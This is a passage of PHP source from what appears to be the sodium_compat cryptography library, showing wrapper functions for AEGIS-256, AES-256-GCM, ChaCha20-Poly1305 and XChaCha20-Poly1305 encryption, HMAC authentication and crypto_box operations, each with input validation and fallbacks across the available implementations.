crypto_aead_aegis256_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long'); } $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext); if ($ct_length < self::CRYPTO_AEAD_AEGIS256_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS256_ABYTES long'); } $ct = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES ); $tag = ParagonIE_Sodium_Core_Util::substr( $ciphertext, $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES, self::CRYPTO_AEAD_AEGIS256_ABYTES ); return ParagonIE_Sodium_Core_AEGIS256::decrypt($ct, $tag, $assocData, $key, $nonce); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AEGIS-256 * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string Ciphertext with 32-byte authentication tag appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aegis256_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS256::encrypt($plaintext, $assocData, $key, $nonce); return $ct . $tag; } /** * Return a secure random key for use with the AEGIS-256 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aegis256_keygen() { return random_bytes(self::CRYPTO_AEAD_AEGIS256_KEYBYTES); } /** * Is AES-256-GCM even available to use? * * @return bool * @psalm-suppress UndefinedFunction * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_is_available() { if (self::useNewSodiumAPI()) { return sodium_crypto_aead_aes256gcm_is_available(); } if (self::use_fallback('crypto_aead_aes256gcm_is_available')) { return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available'); } if (PHP_VERSION_ID < 70100) { // OpenSSL doesn't support AEAD before 7.1.0 return false; } if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) { // OpenSSL isn't installed return false; } return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods()); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AES-256-GCM * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long'); } if (!is_callable('openssl_decrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available'); } /** @var string $ctext */ $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES); /** @var string $authTag */ $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16); return openssl_decrypt( $ctext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AES-256-GCM * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte GCM message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (!is_callable('openssl_encrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available'); } $authTag = ''; $ciphertext = openssl_encrypt( $plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); return $ciphertext . $authTag; } /** * Return a secure random key for use with the AES-256-GCM * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aes256gcm_keygen() { return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 12 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. (IETF version) * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the XChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_xchacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticate a message. Uses symmetric-key cryptography. * * Algorithm: * HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits. * Not to be confused with HMAC-SHA-512/256 which would use the * SHA-512/256 hash function (uses different initial parameters * but still truncates to 256 bits to sidestep length-extension * attacks). * * @param string $message Message to be authenticated * @param string $key Symmetric authentication key * @return string Message authentication code * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth( $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_auth($message, $key); } if (self::use_fallback('crypto_auth')) { return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth($message, $key); } return ParagonIE_Sodium_Crypto::auth($message, $key); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_auth_keygen() { return random_bytes(self::CRYPTO_AUTH_KEYBYTES); } /** * Verify the MAC of a message previously authenticated with crypto_auth. * * @param string $mac Message authentication code * @param string $message Message whose authenticity you are attempting to * verify (with a given MAC and key) * @param string $key Symmetric authentication key * @return bool TRUE if authenticated, FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_auth_verify($mac, $message, $key); } if (self::use_fallback('crypto_auth_verify')) { return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key); } return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key); } /** * Authenticated asymmetric-key encryption. Both the sender and recipient * may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305. * X25519: Elliptic-Curve Diffie Hellman over Curve25519. * XSalsa20: Extended-nonce variant of salsa20. * Poyl1305: Polynomial MAC for one-time message authentication. * * @param string $plaintext The message to be encrypted * @param string $nonce A Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and your recipient's public key * @return string Ciphertext with 16-byte Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box( $plaintext, $nonce, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box($plaintext, $nonce, $keypair); } if (self::use_fallback('crypto_box')) { return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair); } /** * Anonymous public-key encryption. Only the recipient may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box. * The sender's X25519 keypair is ephemeral. * Nonce is generated from the BLAKE2b hash of both public keys. * * This provides ciphertext integrity. * * @param string $plaintext Message to be sealed * @param string $publicKey Your recipient's public key * @return string Sealed message that only your recipient can * decrypt * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_seal( #[\SensitiveParameter] $plaintext, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seal($plaintext, $publicKey); } if (self::use_fallback('crypto_box_seal')) { return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey); } return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey); } /** * Opens a message encrypted with crypto_box_seal(). Requires * the recipient's keypair (sk || pk) to decrypt successfully. * * This validates ciphertext integrity. * * @param string $ciphertext Sealed message to be opened * @param string $keypair Your crypto_box keypair * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_seal_open( $ciphertext, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_seal_open($ciphertext, $keypair); } if (self::use_fallback('crypto_box_seal_open')) { return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair); } return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair); } /** * Generate a new random X25519 keypair. * * @return string A 64-byte string; the first 32 are your secret key, while * the last 32 are your public key. crypto_box_secretkey() * and crypto_box_publickey() exist to separate them so you * don't accidentally get them mixed up! * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair() { if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair(); } if (self::use_fallback('crypto_box_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair(); } return ParagonIE_Sodium_Crypto::box_keypair(); } /** * Combine two keys into a keypair for use in library methods that expect * a keypair. This doesn't necessarily have to be the same person's keys. * * @param string $secretKey Secret key * @param string $publicKey Public key * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secretKey, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== 